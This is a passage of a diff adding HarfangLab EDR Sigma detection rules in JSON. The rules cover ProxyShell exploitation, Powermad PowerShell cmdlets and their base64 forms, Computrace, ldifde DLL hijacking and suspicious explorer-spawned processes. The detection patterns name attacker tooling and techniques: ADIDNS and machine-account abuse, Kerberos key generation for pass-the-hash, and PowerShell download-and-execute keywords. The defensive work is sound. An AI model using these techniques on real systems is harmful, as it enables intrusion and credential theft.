- '.ashx'\n\n    condition: selection\nlevel: high\n# level: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2f9bedc8-2825-415e-a921-7af30eb2aa12",
+  "rule_name": "Microsoft Exchange Server Vulnerability Exploitation",
+  "rule_description": "Detects a possible exploitation of CVE-2021-31207 (aka ProxyShell) related to Microsoft Exchange server, that allows an attacker to write files to the system.\nThe ProxyShell vulnerabilities consist of three vulnerabilities (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) affecting on-premises Microsoft Exchange servers that allow attackers to perform a pre-authenticated remote code execution.\nIt is recommended to analyze the files written to disk to look for webshells or any suspicious content.\n",
+  "rule_creation_date": "2022-07-08",
+  "rule_modified_date": "2025-04-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.initial_access",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1190",
+    "attack.t1505.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2fd97120-c808-466a-81ed-6aabf72403a2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.604632Z",
+  "creation_date": "2026-03-23T11:45:34.604636Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.604643Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Kevin-Robertson/Powermad",
+    "https://www.netspi.com/blog/technical/network-penetration-testing/exploiting-adidns/",
+    "https://www.netspi.com/blog/technical/network-penetration-testing/machineaccountquota-transitive-quota/",
+    "https://attack.mitre.org/techniques/T1059/001/",
+    "https://attack.mitre.org/techniques/T1557/001/"
+  ],
+  "name": "t1059_001_powershell_malicious_cmdlet_powermad_cmd.yml",
+  "content": "title: Malicious PowerShell Powermad Commandlets in Command-line\nid: 2fd97120-c808-466a-81ed-6aabf72403a2\ndescription: |\n    Detects various malicious commandlets in PowerShell scripts, generally associated with the Powermad framework.\n    The Powermad framework is generally associated with Active Directory Internal DNS (ADIDNS) exploitation for privilege escalation and credential collection through LLMNR poisoning (along with tools such as Inveigh) and SMB Relaying.\n    It is recommended to investigate the parent process for suspicious activities as well as other malicious actions stemming from the PowerShell host process.\nreferences:\n    - https://github.com/Kevin-Robertson/Powermad\n    - https://www.netspi.com/blog/technical/network-penetration-testing/exploiting-adidns/\n    - https://www.netspi.com/blog/technical/network-penetration-testing/machineaccountquota-transitive-quota/\n    - https://attack.mitre.org/techniques/T1059/001/\n    - https://attack.mitre.org/techniques/T1557/001/\ndate: 2022/10/12\nmodified: 2025/04/10\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.credential_access\n    - attack.collection\n    - attack.t1557.001\n    - attack.defense_evasion\n    - attack.t1550.002\n    - attack.persistence\n    - attack.privilege_escalation\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Framework.PowerMad\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_powershell:\n        - Image|endswith: '\\powershell.exe'\n        - OriginalFileName: 'PowerShell.EXE'\n    selection_cmdlet:\n        CommandLine|contains:\n            # ================================== Machine Account Quota functions ==================================\n            # Return machine account attributes.\n            - 'Get-MachineAccountAttribute'\n            - 'RwBlAHQALQBNAGEAYwBoAGkAbgBlAEEAYwBjAG8AdQBuAHQAQQB0AHQAcgBpAGIAdQB0AGUA'\n            - 'cAZQB0AC0ATQBhAGMAaABpAG4AZQBBAGMAYwBvAHUAbgB0AEEAdAB0AHIAaQBiAHUAdABlA'\n            - 'HAGUAdAAtAE0AYQBjAGgAaQBuAGUAQQBjAGMAbwB1AG4AdABBAHQAdAByAGkAYgB1AHQAZQ'\n            # Returns Machine Account Creator. Usually only set when the node was created by an unprivileged user.\n            - 'Get-MachineAccountCreator'\n            - 'RwBlAHQALQBNAGEAYwBoAGkAbgBlAEEAYwBjAG8AdQBuAHQAQwByAGUAYQB0AG8Acg'\n            - 'cAZQB0AC0ATQBhAGMAaABpAG4AZQBBAGMAYwBvAHUAbgB0AEMAcgBlAGEAdABvAHIA'\n            - 'HAGUAdAAtAE0AYQBjAGgAaQBuAGUAQQBjAGMAbwB1AG4AdABDAHIAZQBhAHQAbwByA'\n            # Disables a machine account.\n            - 'Disable-MachineAccount'\n            - 'RABpAHMAYQBiAGwAZQAtAE0AYQBjAGgAaQBuAGUAQQBjAGMAbwB1AG4AdA'\n            - 'QAaQBzAGEAYgBsAGUALQBNAGEAYwBoAGkAbgBlAEEAYwBjAG8AdQBuAHQA'\n            - 'EAGkAcwBhAGIAbABlAC0ATQBhAGMAaABpAG4AZQBBAGMAYwBvAHUAbgB0A'\n            # Enables a machine account.\n            - 'Enable-MachineAccount'\n            - 'RQBuAGEAYgBsAGUALQBNAGEAYwBoAGkAbgBlAEEAYwBjAG8AdQBuAHQA'\n            - 'UAbgBhAGIAbABlAC0ATQBhAGMAaABpAG4AZQBBAGMAYwBvAHUAbgB0A'\n            - 'FAG4AYQBiAGwAZQAtAE0AYQBjAGgAaQBuAGUAQQBjAGMAbwB1AG4AdA'\n            # Creates a new machine account through an encrypted LDAP request. Can then be used with the `runas` command.\n            - 'New-MachineAccount'\n            - 'TgBlAHcALQBNAGEAYwBoAGkAbgBlAEEAYwBjAG8AdQBuAHQA'\n            - '4AZQB3AC0ATQBhAGMAaABpAG4AZQBBAGMAYwBvAHUAbgB0A'\n            - 'OAGUAdwAtAE0AYQBjAGgAaQBuAGUAQQBjAGMAbwB1AG4AdA'\n            # Removes a machine account with a privileged account.\n            - 'Remove-MachineAccount'\n            - 'UgBlAG0AbwB2AGUALQBNAGEAYwBoAGkAbgBlAEEAYwBjAG8AdQBuAHQA'\n            - 'IAZQBtAG8AdgBlAC0ATQBhAGMAaABpAG4AZQBBAGMAYwBvAHUAbgB0A'\n            - 'SAGUAbQBvAHYAZQAtAE0AYQBjAGgAaQBuAGUAQQBjAGMAbwB1AG4AdA'\n            # Set attributes for an account that was created with Powermad.\n            - 'Set-MachineAccountAttribute'\n            - 'UwBlAHQALQBNAGEAYwBoAGkAbgBlAEEAYwBjAG8AdQBuAHQAQQB0AHQAcgBpAGIAdQB0AGUA'\n            - 'MAZQB0AC0ATQBhAGMAaABpAG4AZQBBAGMAYwBvAHUAbgB0AEEAdAB0AHIAaQBiAHUAdABlA'\n            - 'TAGUAdAAtAE0AYQBjAGgAaQBuAGUAQQBjAGMAbwB1AG4AdABBAHQAdAByAGkAYgB1AHQAZQ'\n            # Recursively creates Machine Accounts, allowed due to the Transitive Machine Account Quota and updates of the ms-DS-CreatorSID attribute.\n            - 'Invoke-AgentSmith'\n            - 'SQBuAHYAbwBrAGUALQBBAGcAZQBuAHQAUwBtAGkAdABoA'\n            - 'kAbgB2AG8AawBlAC0AQQBnAGUAbgB0AFMAbQBpAHQAaA'\n            - 'JAG4AdgBvAGsAZQAtAEEAZwBlAG4AdABTAG0AaQB0AGgA'\n            # ========================================= ADIDNS Functions ==========================================\n            # Used to add or delete ADIDNS dynamic DNS records if secure dynamic updates are configured on a DC.\n            - 'Invoke-DNSUpdate'\n            - 'SQBuAHYAbwBrAGUALQBEAE4AUwBVAHAAZABhAHQAZQ'\n            - 'kAbgB2AG8AawBlAC0ARABOAFMAVQBwAGQAYQB0AGUA'\n            - 'JAG4AdgBvAGsAZQAtAEQATgBTAFUAcABkAGEAdABlA'\n            # Tombstone an ADIDNS node.\n            - 'Disable-ADIDNSNode'\n            - 'RABpAHMAYQBiAGwAZQAtAEEARABJAEQATgBTAE4AbwBkAGUA'\n            - 'QAaQBzAGEAYgBsAGUALQBBAEQASQBEAE4AUwBOAG8AZABlA'\n            - 'EAGkAcwBhAGIAbABlAC0AQQBEAEkARABOAFMATgBvAGQAZQ'\n            # Revive tombstoned node.\n            - 'Enable-ADIDNSNode'\n            - 'RQBuAGEAYgBsAGUALQBBAEQASQBEAE4AUwBOAG8AZABlA'\n            - 'UAbgBhAGIAbABlAC0AQQBEAEkARABOAFMATgBvAGQAZQ'\n            - 'FAG4AYQBiAGwAZQAtAEEARABJAEQATgBTAE4AbwBkAGUA'\n            # Return values that populate a node attribute.\n            - 'Get-ADIDNSNodeAttribute'\n            - 'RwBlAHQALQBBAEQASQBEAE4AUwBOAG8AZABlAEEAdAB0AHIAaQBiAHUAdABlA'\n            - 'cAZQB0AC0AQQBEAEkARABOAFMATgBvAGQAZQBBAHQAdAByAGkAYgB1AHQAZQ'\n            - 'HAGUAdAAtAEEARABJAEQATgBTAE4AbwBkAGUAQQB0AHQAcgBpAGIAdQB0AGUA'\n            # Returns the owner of a node.\n            - 'Get-ADIDNSNodeOwner'\n            - 'RwBlAHQALQBBAEQASQBEAE4AUwBOAG8AZABlAE8AdwBuAGUAcg'\n            - 'cAZQB0AC0AQQBEAEkARABOAFMATgBvAGQAZQBPAHcAbgBlAHIA'\n            - 'HAGUAdAAtAEEARABJAEQATgBTAE4AbwBkAGUATwB3AG4AZQByA'\n            # Gets a DACL (Discretionary Access Control List, which users/groups can access an object) of an ADIDNS node or zone.\n            - 'Get-ADIDNSPermission'\n            - 'RwBlAHQALQBBAEQASQBEAE4AUwBQAGUAcgBtAGkAcwBzAGkAbwBuA'\n            - 'cAZQB0AC0AQQBEAEkARABOAFMAUABlAHIAbQBpAHMAcwBpAG8Abg'\n            - 'HAGUAdAAtAEEARABJAEQATgBTAFAAZQByAG0AaQBzAHMAaQBvAG4A'\n            # Returns ADIDNS zones.\n            - 'Get-ADIDNSZone'\n            - 'RwBlAHQALQBBAEQASQBEAE4AUwBaAG8AbgBlA'\n            - 'cAZQB0AC0AQQBEAEkARABOAFMAWgBvAG4AZQ'\n            - 'HAGUAdAAtAEEARABJAEQATgBTAFoAbwBuAGUA'\n            # Adds access (ACE) to a node or zone DACL.\n            - 'Grant-ADIDNSPermission'\n            - 'RwByAGEAbgB0AC0AQQBEAEkARABOAFMAUABlAHIAbQBpAHMAcwBpAG8Abg'\n            - 'cAcgBhAG4AdAAtAEEARABJAEQATgBTAFAAZQByAG0AaQBzAHMAaQBvAG4A'\n            - 'HAHIAYQBuAHQALQBBAEQASQBEAE4AUwBQAGUAcgBtAGkAcwBzAGkAbwBuA'\n            # Creates a new node thorugh an encrypted LDAP request.\n            - 'New-ADIDNSNode'\n            - 'TgBlAHcALQBBAEQASQBEAE4AUwBOAG8AZABlA'\n            - '4AZQB3AC0AQQBEAEkARABOAFMATgBvAGQAZQ'\n            - 'OAGUAdwAtAEEARABJAEQATgBTAE4AbwBkAGUA'\n            # Creates a valid byte array for the dnsRecord attribute.\n            - 'New-DNSRecordArray'\n            - 'TgBlAHcALQBEAE4AUwBSAGUAYwBvAHIAZABBAHIAcgBhAHkA'\n            - '4AZQB3AC0ARABOAFMAUgBlAGMAbwByAGQAQQByAHIAYQB5A'\n            - 'OAGUAdwAtAEQATgBTAFIAZQBjAG8AcgBkAEEAcgByAGEAeQ'\n            # Gets an SOA (Start of authority) serial number for a DNS zone and increments it.\n            - 'New-SOASerialNumberArray'\n            - 'TgBlAHcALQBTAE8AQQBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgBBAHIAcgBhAHkA'\n            - '4AZQB3AC0AUwBPAEEAUwBlAHIAaQBhAGwATgB1AG0AYgBlAHIAQQByAHIAYQB5A'\n            - 'OAGUAdwAtAFMATwBBAFMAZQByAGkAYQBsAE4AdQBtAGIAZQByAEEAcgByAGEAeQ'\n            # Renames a node.\n            - 'Rename-ADIDNSNode'\n            - 'UgBlAG4AYQBtAGUALQBBAEQASQBEAE4AUwBOAG8AZABlA'\n            - 'IAZQBuAGEAbQBlAC0AQQBEAEkARABOAFMATgBvAGQAZQ'\n            - 'SAGUAbgBhAG0AZQAtAEEARABJAEQATgBTAE4AbwBkAGUA'\n            # Removes a node.\n            - 'Remove-ADIDNSNode'\n            - 'UgBlAG0AbwB2AGUALQBBAEQASQBEAE4AUwBOAG8AZABlA'\n            - 'IAZQBtAG8AdgBlAC0AQQBEAEkARABOAFMATgBvAGQAZQ'\n            - 'SAGUAbQBvAHYAZQAtAEEARABJAEQATgBTAE4AbwBkAGUA'\n            # Removes an ACE from a DACL.\n            - 'Revoke-ADIDNSPermission'\n            - 'UgBlAHYAbwBrAGUALQBBAEQASQBEAE4AUwBQAGUAcgBtAGkAcwBzAGkAbwBuA'\n            - 'IAZQB2AG8AawBlAC0AQQBEAEkARABOAFMAUABlAHIAbQBpAHMAcwBpAG8Abg'\n            - 'SAGUAdgBvAGsAZQAtAEEARABJAEQATgBTAFAAZQByAG0AaQBzAHMAaQBvAG4A'\n            # Appends or overwrites node attributes.\n            - 'Set-ADIDNSNodeAttribute'\n            - 'UwBlAHQALQBBAEQASQBEAE4AUwBOAG8AZABlAEEAdAB0AHIAaQBiAHUAdABlA'\n            - 'MAZQB0AC0AQQBEAEkARABOAFMATgBvAGQAZQBBAHQAdAByAGkAYgB1AHQAZQ'\n            - 'TAGUAdAAtAEEARABJAEQATgBTAE4AbwBkAGUAQQB0AHQAcgBpAGIAdQB0AGUA'\n            # Sets the owner of a Node, SeRestorePrivilege token required.\n            - 'Set-ADIDNSNodeOwner'\n            - 'UwBlAHQALQBBAEQASQBEAE4AUwBOAG8AZABlAE8AdwBuAGUAcg'\n            - 'MAZQB0AC0AQQBEAEkARABOAFMATgBvAGQAZQBPAHcAbgBlAHIA'\n            - 'TAGUAdAAtAEEARABJAEQATgBTAE4AbwBkAGUATwB3AG4AZQByA'\n            # Generating Kerberos AES-256 and 128 Keys for know username and password, this can be used as a PtH attack in InvokeDNSUPdate\n            - 'Get-KerberosAESKey'\n            - 'RwBlAHQALQBLAGUAcgBiAGUAcgBvAHMAQQBFAFMASwBlAHkA'\n            - 'cAZQB0AC0ASwBlAHIAYgBlAHIAbwBzAEEARQBTAEsAZQB5A'\n            - 'HAGUAdAAtAEsAZQByAGIAZQByAG8AcwBBAEUAUwBLAGUAeQ'\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2fd97120-c808-466a-81ed-6aabf72403a2",
+  "rule_name": "Malicious PowerShell Powermad Commandlets in Command-line",
+  "rule_description": "Detects various malicious commandlets in PowerShell scripts, generally associated with the Powermad framework.\nThe Powermad framework is generally associated with Active Directory Internal DNS (ADIDNS) exploitation for privilege escalation and credential collection through LLMNR poisoning (along with tools such as Inveigh) and SMB Relaying.\nIt is recommended to investigate the parent process for suspicious activities as well as other malicious actions stemming from the PowerShell host process.\n",
+  "rule_creation_date": "2022-10-12",
+  "rule_modified_date": "2025-04-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.credential_access",
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1550.002",
+    "attack.t1557.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2fe027bc-7a3c-412a-9493-8581215d5157",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.606892Z",
+  "creation_date": "2026-03-23T11:45:34.606895Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.606903Z",
+  "rule_level": "low",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securelist.com/absolute-computrace-revisited/58278/",
+    "https://www.blackhat.com/docs/us-14/materials/us-14-Kamlyuk-Kamluk-Computrace-Backdoor-Revisited.pdf",
+    "https://attack.mitre.org/techniques/T1569/002/"
+  ],
+  "name": "t1569_002_computrace_rpcnetp.yml",
+  "content": "title: Computrace Agent Started\nid: 2fe027bc-7a3c-412a-9493-8581215d5157\ndescription: |\n    Detects the execution of rpcnet.exe or rpcnetp.exe which is the Computrace Agent (Communication Driver Agent).\n    Computrace (aka LoJack) is an Absolute Sotfware solution used to trace stolen laptops.\n    Attackers can use Computrace a backdoor that can survive a reinstallation of the whole OS.\n    It recommended to disable this rule if the IT covered by HarfangLab EDR legitimately uses Computrace as an anti-theft solution.\n    If the IT does not use Computrace, it is recommended to analyze the behavior of the launched binary to look for malicious actions or network connections.\nreferences:\n    - https://securelist.com/absolute-computrace-revisited/58278/\n    - https://www.blackhat.com/docs/us-14/materials/us-14-Kamlyuk-Kamluk-Computrace-Backdoor-Revisited.pdf\n    - https://attack.mitre.org/techniques/T1569/002/\ndate: 2022/09/02\nmodified: 2025/01/30\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1569.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Trojan.Computrace\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image:\n            - '?:\\Windows\\System32\\rpcnetp.exe'\n            - '?:\\Windows\\SysWOW64\\rpcnet.exe'\n        ParentImage: '?:\\Windows\\System32\\services.exe'\n    condition: selection\nlevel: low\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2fe027bc-7a3c-412a-9493-8581215d5157",
+  "rule_name": "Computrace Agent Started",
+  "rule_description": "Detects the execution of rpcnet.exe or rpcnetp.exe which is the Computrace Agent (Communication Driver Agent).\nComputrace (aka LoJack) is an Absolute Sotfware solution used to trace stolen laptops.\nAttackers can use Computrace a backdoor that can survive a reinstallation of the whole OS.\nIt recommended to disable this rule if the IT covered by HarfangLab EDR legitimately uses Computrace as an anti-theft solution.\nIf the IT does not use Computrace, it is recommended to analyze the behavior of the launched binary to look for malicious actions or network connections.\n",
+  "rule_creation_date": "2022-09-02",
+  "rule_modified_date": "2025-01-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1569.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2ffd5e79-150c-4383-847e-9e74ca72179a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.599622Z",
+  "creation_date": "2026-03-23T11:45:34.599625Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.599633Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_ldifd.yml",
+  "content": "title: DLL Hijacking via ldifd.exe\nid: 2ffd5e79-150c-4383-847e-9e74ca72179a\ndescription: |\n    Detects potential Windows DLL Hijacking via ldifd.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'ldifde.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\logoncli.dll'\n            - '\\netutils.dll'\n            - '\\urlmon.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2ffd5e79-150c-4383-847e-9e74ca72179a",
+  "rule_name": "DLL Hijacking via ldifd.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via ldifd.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "3032fc60-f2f1-46ff-98c0-f6b537fe7513",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626639Z",
+  "creation_date": "2026-03-23T11:45:34.626641Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626646Z",
+  "rule_level": "high",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/",
+    "https://www.zscaler.com/blogs/security-research/steal-it-campaign",
+    "https://attack.mitre.org/techniques/T1204/001/",
+    "https://attack.mitre.org/techniques/T1204/002/"
+  ],
+  "name": "t1204_001_suspicious_process_parent_explorer.yml",
+  "content": "title: Suspicious Process Started by Explorer\nid: 3032fc60-f2f1-46ff-98c0-f6b537fe7513\ndescription: |\n    Detects the execution of suspicious processes spawned directly by explorer.exe, which commonly indicates that a user has clicked on a malicious link or attachment.\n    This pattern is frequently observed in phishing attacks where malicious files or URLs trigger the execution of dangerous processes like powershell.exe, cmd.exe, or unusual script interpreters with explorer.exe as the parent.\n    It is recommended to analyze the process command-line and file origin (by looking at the file downloads telemetry, for example).\nreferences:\n    - https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/\n    - https://www.zscaler.com/blogs/security-research/steal-it-campaign\n    - https://attack.mitre.org/techniques/T1204/001/\n    - https://attack.mitre.org/techniques/T1204/002/\ndate: 2021/06/18\nmodified: 2026/01/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204.001\n    - attack.t1204.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Phishing\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_explorer:\n        ParentImage|endswith: '\\explorer.exe'\n\n    # cmd.exe\n    selection_cmd:\n        - Image|endswith: '\\cmd.exe'\n        - OriginalFileName: 'Cmd.Exe'\n\n    selection_cmd_1_1:\n        CommandLine|contains : '/c '\n\n    selection_cmd_1_2:\n        CommandLine|contains:\n            - '%comspec% '\n            - 'cmd.exe /c start '\n            - 'cmd.exe /c ?start '\n            - 'attrib '\n            - 'mshta '\n            - 'findstr '\n\n    selection_cmd_2_1:\n        CommandLine|contains: '/c '\n\n    selection_cmd_2_2:\n        CommandLine|contains:\n            - 'powershell'\n            - 'p^o^w^e^r^s^h^e^l^l'\n\n    selection_cmd_2_3:\n        CommandLine|contains:\n            - 'bypass '\n            - 'WriteAllbytes'\n            - 'FromBase64String'\n            - ' iex '\n\n    exclusion_cmd:\n        CommandLine|contains:\n            - '\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\'\n            - '* ?:\\Windows\\system32\\ie4uinit.exe -ClearIconCache'\n            - 'cmd.exe /c start cmd.exe /k pushd '\n            - '?:\\Windows\\System32\\cmd.exe /c start shell:AppsFolder\\Microsoft.MicrosoftEdge_?????????????!MicrosoftEdge -private'\n            - '?:\\Windows\\System32\\cmd.exe /c start /min /d ?:\\Users\\\\*\\AppData\\Local\\PDFProSuite PDFProSuite . --update'\n\n    # powershell.exe\n    selection_powershell_image:\n        - Image|endswith: 'powershell.exe'\n        - OriginalFileName: 'PowerShell.EXE'\n\n    selection_powershell_commandline:\n        CommandLine|contains:\n            - 'DownloadFile'\n            - 'DownloadString'\n            - 'invoke-webrequest'\n            - 'iwr'\n            - '-join'\n            - '-replace '\n            - 'Start-Process rundll32'\n            - 'Expand-Archive '\n            - '::ReadAllBytes(*::WriteAllBytes('\n            - ' -WindowStyle Hidden *Start-Process ?:\\' # C:\\\n            - ' -WindowStyle Hidden *Start-Process ??:\\' # 'C:\\\n\n    exclusion_powershell:\n        CommandLine|contains:\n            - ' Process Bypass '\n            - ' -file ?:\\'\n            - ' -file \"\\\\\\\\'\n            - ' -command ?:\\'\n            - \"}) -replace '\\\\s\\\\s+',\"\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy ByPass -NoExit -Command & ??:\\\\*\\anaconda3\\shell\\condabin\\conda-hook.ps1? ; conda activate ??:\\\\*\\anaconda3?'\n            - '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy ByPass -NoExit -Command & ??:\\Users\\\\*\\Miniconda3\\shell\\condabin\\conda-hook.ps1? ; conda activate ??:\\\\*\\Miniconda3'\n            - \"?:\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command & '?:\\\\Program Files (x86)\\\\LastPass\\\\AppxUpgradeEdge.ps1'\"\n\n    # mshta.exe\n    selection_mshta_image:\n        - Image|endswith: '\\mshta.exe'\n        - 